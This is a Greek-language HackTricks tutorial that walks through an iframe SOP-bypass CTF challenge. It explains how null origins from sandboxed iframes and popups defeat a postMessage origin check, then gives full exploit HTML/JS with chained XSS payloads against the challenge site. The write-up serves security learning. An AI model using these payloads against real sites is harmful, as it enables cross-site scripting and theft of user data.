Bypassing SOP with Iframes - 1
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Iframes in SOP-1
Σε αυτήν την πρόκληση που δημιουργήθηκε από NDevTK και Terjanq πρέπει να εκμεταλλευτείτε ένα XSS στον κωδικοποιημένο
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
Το κύριο πρόβλημα είναι ότι η κύρια σελίδα χρησιμοποιεί το DomPurify για να στείλει το data.body
, οπότε για να στείλετε τα δικά σας δεδομένα html σε αυτόν τον κώδικα πρέπει να παρακάμψετε το e.origin !== window.origin
.
Ας δούμε τη λύση που προτείνουν.
SOP bypass 1 (e.origin === null)
Όταν το //example.org
είναι ενσωματωμένο σε ένα sandboxed iframe, τότε η προέλευση της σελίδας θα είναι null
, δηλαδή window.origin === null
. Έτσι, απλά ενσωματώνοντας το iframe μέσω του <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
μπορούμε να επιβάλουμε την προέλευση null
.
Αν η σελίδα ήταν ενσωματώσιμη, θα μπορούσατε να παρακάμψετε αυτή την προστασία με αυτόν τον τρόπο (τα cookies μπορεί επίσης να χρειαστεί να ρυθμιστούν σε SameSite=None
).
SOP bypass 2 (window.origin === null)
Η λιγότερο γνωστή πληροφορία είναι ότι όταν η τιμή sandbox allow-popups
είναι ρυθμισμένη, τότε το ανοιγμένο popup θα κληρονομήσει όλα τα sandboxed attributes εκτός αν έχει ρυθμιστεί το allow-popups-to-escape-sandbox
.
Έτσι, το άνοιγμα ενός popup από μια null origin θα κάνει το window.origin
μέσα στο popup επίσης null
.
Challenge Solution
Επομένως, για αυτή την πρόκληση, θα μπορούσε κανείς να δημιουργήσει ένα iframe, να ανοίξει ένα popup στη σελίδα με τον ευάλωτο χειριστή κώδικα XSS (/iframe.php
), καθώς το window.origin === e.origin
επειδή και τα δύο είναι null
, είναι δυνατό να στείλει ένα payload που θα εκμεταλλευτεί το XSS.
Αυτό το payload θα πάρει τον ταυτοποιητή και θα στείλει ένα XSS πίσω στην κύρια σελίδα (τη σελίδα που άνοιξε το popup), η οποία θα αλλάξει τοποθεσία στη ευάλωτη /iframe.php
. Επειδή ο ταυτοποιητής είναι γνωστός, δεν έχει σημασία ότι η συνθήκη window.origin === e.origin
δεν ικανοποιείται (θυμηθείτε, η προέλευση είναι το popup από το iframe που έχει προέλευση null
) επειδή data.identifier === identifier
. Τότε, το XSS θα ενεργοποιηθεί ξανά, αυτή τη φορά στην σωστή προέλευση.
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.